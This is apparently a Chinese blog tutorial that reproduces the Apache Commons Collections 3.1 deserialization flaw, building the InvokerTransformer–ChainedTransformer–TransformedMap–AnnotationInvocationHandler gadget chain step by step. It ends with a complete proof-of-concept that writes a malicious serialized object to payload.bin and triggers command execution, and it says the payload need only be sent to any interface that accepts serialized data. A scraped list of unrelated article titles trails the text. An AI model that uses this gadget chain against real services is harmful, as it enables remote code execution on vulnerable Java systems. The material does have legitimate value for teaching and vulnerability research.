Java Apache Collections类漏洞

在15年Apache Commons Collections(ACC)被两位黑客爆出存在反序列化漏洞,由于Apache下的其他框架也免不了大量使用像List、Map、Set等Collection类,因此该漏洞覆盖范围非常之大。并且通过此漏洞可以执行任意操作,也是当年最危险的漏洞之一。

漏洞复现环境
JDK7
Apache Commons Collections 3.2.1之前的所有版本

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version>
</dependency>

复现过程

  • InvokeTransformer
    此Java类的作用是利用反射机制来创建实例
    主要运用到其中的transform()方法:通过反射进行任意函数的调用。
    复现第一阶段
//通过反射调用弹出计算器的函数
public class Stage1 {public static void main(String[] args)  {InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"Calc.exe"});try {// Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));Object input = Runtime.getRuntime();invokerTransformer.transform(input);}catch (Exception e){e.printStackTrace();}}
}

InvokeTransformer的transform方法

    public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var7) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);}}}
  • ConstantTransformer
    此类的作用十分简单,返回构造函数传入类的对象。复现漏洞中通过该类返回一个Runtime类
//ConstantTransformer类中运用到的主要代码
public class ConstantTransformer implements Transformer, Serializable {private final Object iConstant;public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;}
}
  • ChainedTransformer
    此类的作用是实现Transformer的链式调用,通过传入Transformer数组依次执行transfom()方法。(Transformer为这几个关键类的接口。)
    复现第二阶段
//通过ChainedTransformer链式调用,实现InvokeTransformer中transfom()方法的自动触发
public class Stage2 {public static void main(String[] args) {Transformer[] transformers = new Transformer[]{// 获得Runtime类对象new ConstantTransformer(Runtime.class),// 传入Runtime类对象 反射执行getMethod获得getRuntime方法new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),// 传入getRuntime方法 反射执行invoke方法 得到Runtime实例new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, null }),// 传入Runtime实例 执行exec方法new InvokerTransformer("exec",new Class[] {String.class },new Object[] {"Calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(null);}
}

ChainedTransformer中的transfom()方法

public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}

到这为止实现了函数的自动触发,但所有的操作都是本地的。炸弹已经准备好了要靠什么来引爆呢,总不能在本地手动点吧。黑客在ACC中又找到了两个类,通过这两个类的配合在反序列化的过程中可以远程执行触发函数。

  • TransformedMap
    这个类继承了AbstractInputCheckedMapDecorator类,从英文大致看出是对Map输入进行检查的类。在当Map里面的元素变动(CUD)时候,自动调用Transformer对象的transform()方法。
    那么思路很清晰了通过decorate()构造TransformedMap,传入之前的ChainedTransformer和一个任意的map,只要我们在一个过程中可以改变传入map的值就成功了。
//TransformedMap漏洞复现主要方法
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {private static final long serialVersionUID = 7023152376788900464L;protected final Transformer keyTransformer;protected final Transformer valueTransformer;public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}
}

复现第三阶段

public class Stage3 {public static void main(String[] args) {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, null }),new InvokerTransformer("exec",new Class[] {String.class },new Object[] {"Calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//新加代码Map innermap = new HashMap();innermap.put("value","value");Map outermap = TransformedMap.decorate(innermap,null,chainedTransformer);}
}
  • AnnotationInvocationHandler
    这个类就是复现漏洞的最后一块拼图了,它重写了readObject反序列化方法,因此在反序列化的时候会自动执行readObject方法。在readObject中会通过setValue改变传入的map,从而触发TransformedMap。整个的作用链形成了。
 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();AnnotationType var2 = null;try {var2 = AnnotationType.getInstance(this.type);} catch (IllegalArgumentException var9) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var3 = var2.memberTypes();Iterator var4 = this.memberValues.entrySet().iterator();while(var4.hasNext()) {Entry var5 = (Entry)var4.next();String var6 = (String)var5.getKey();Class var7 = (Class)var3.get(var6);if (var7 != null) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));}}}}

最终阶段

public class Poc {public static void main(String[] args) {try {Transformer[] transformers = new Transformer[]{// 获得Runtime类对象new ConstantTransformer(Runtime.class),// 传入Runtime类对象 反射执行getMethod获得getRuntime方法new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),// 传入getRuntime方法对象 反射执行invoke方法 得到Runtime实例new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),// 传入Runtime实例 执行exec方法new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "value");Map outermap = TransformedMap.decorate(innermap, null, chainedTransformer);// 构造包含恶意map的AnnotationInvocationHandler对象Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);cst.setAccessible(true);Object exploitObj = cst.newInstance(Target.class, outermap);// 序列化FileOutputStream fos = new FileOutputStream("payload.bin");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(exploitObj);oos.close();// 反序列化(实现过程)FileInputStream fis = new FileInputStream("payload.bin");ObjectInputStream ois = new ObjectInputStream(fis);Object result = ois.readObject();ois.close();System.out.println(result);} catch (Exception e) {e.printStackTrace();}}
}

运行后会生成payload.bin文件在本地

接下来只需找到传输序列化数据的接口,使用生成的恶意序列化数据即可。

Java Apache中的高危漏洞复现相关推荐

  1. java内存漏洞_处理Java程序中的内存漏洞

    Java 程序中也有内存漏洞?当然有.与流行的观念相反,在 Java 编程中,内存治理仍然是需要考虑的问题.在本文中,您将了解到什么会导致内存漏洞以及何时应该关注这些漏洞.您还有机会实践一下在您自己的 ...

  2. confluence的几个高危漏洞复现

    序言 本次复现涉及了好几个confluence的相关漏洞,从复现利用到提权,有兴趣的可以自行搭建环境测试. 1.CVE-2021-26084 Confluence OGNL 注入漏洞 1.1 漏洞描述 ...

  3. Apache多后缀解析漏洞复现(apache_parsing_vulnerability)

    漏洞原理 apahe解析文件时候有一特性,Apache默认一个文件可以有多个以点分割的后缀,apache会从最右边开始识别其后缀名,如遇无法识别的后缀名则依次往左进行识别 如果运维人员给.php后缀的 ...

  4. VMware 修复多款产品中的高危漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 本周二,VMware 修复了影响 ESXi.Workstation.Fusion.Cloud Foundation和 NSX Data Cent ...

  5. php安全漏洞怎么修复,PHP安全团队已发布安全补丁修复PHP 7中的高危漏洞

    近期国外安全研究团队CheckPoint花费数月时间检查PHP 7的反序列化机制,发现了三个新的高危安全漏洞. 这三处漏洞足以影响到全球80%的运行PHP的网站,在此前的PHP 5的反序列化机制中也曾 ...

  6. 开源的 Snort 入侵检测系统中存在高危漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 开源的思科 Snort 检测和预防系统中存在一个漏洞 (CVE-2022-20685),可触发拒绝服务条件并使其无法抵御恶意流量. 该漏洞的CV ...

  7. CVE-2021-41773 CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 目录穿越漏洞

    给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 关注公众号:b1gpig信息安全,文章推送不错过 CVE-2021-41773漏洞描述: Apache HTTPd是Apache基金会开源的一款流 ...

  8. 【网络安全入门大总结】—Java语言中常用的渗透漏洞大汇总

    Java语言中常用的漏洞大汇总,建议收藏. 准备好,上课了~~~ 目录 Servlet 简介 生命周期为 接口 Struts 2 . 简介 请求流程 相关CVE Spring 简介 Spring MV ...

  9. Apache漏洞复现

    目录 1.Apache多后缀解析漏洞复现(apache_parsing_vulnerability) 漏洞防御 2.Apache换行解析漏洞复现(CVE-2017-15715) 漏洞防御 3.CVE- ...

最新文章

  1. 2021年大数据ZooKeeper(四):ZooKeeper的shell操作
  2. WINCE6.0 chain.bin和xipkernel.bin解析
  3. 任意长度的两个大数的乘法
  4. 【Luogu P2781】 传教
  5. 京东方计划为苹果iPhone 13供应6.06英寸OLED面板
  6. python接收最新邮件_Python接收Gmail新邮件并发送到gtalk的方法
  7. Hibernate多列作为联合主键(六)
  8. Python使用matplotlib可视化模拟商场促销价格关系折线图
  9. 中科院分词系统整理笔记
  10. SpringBoot java串口操作(rxtx)
  11. sola病毒的手工杀除
  12. 银行,金融行业的清分,结算,清算,核算到底是什么含义? 现金需要搬运么?
  13. 十进制转二进制,用java的两种基本方法,适合新手
  14. mysql数据库性能优化—my.cnf详解
  15. Gulp.js—比Grunt更易用的前端构建工具-前端自动化
  16. LTE CSFB测试分析
  17. WebRTC gateway janus入门教程:从配置到插件编写
  18. JAVA EE-JS
  19. (java毕业设计)基于java企业财务管理系统源码
  20. 【物联网】基于LoRa的电子围栏方案设计实现

热门文章

  1. qq空间非主流男横幅
  2. 自己制作跳舞毯歌曲(图解教程)
  3. kali4.0 下安装QQ 2012
  4. 在线签名、canvas手写在线签名——小程序端实现在线签名,手写电子签名canvas
  5. 电脑翻译软件哪个好-免费的电脑翻译软件
  6. python:计算索引的类算法(附完整源码)
  7. 一元三次方程的实数根
  8. HTML--table--跨行跨列
  9. Autocad中字体乱码的解决办法
  10. 快消品行业如何选择进销存软件?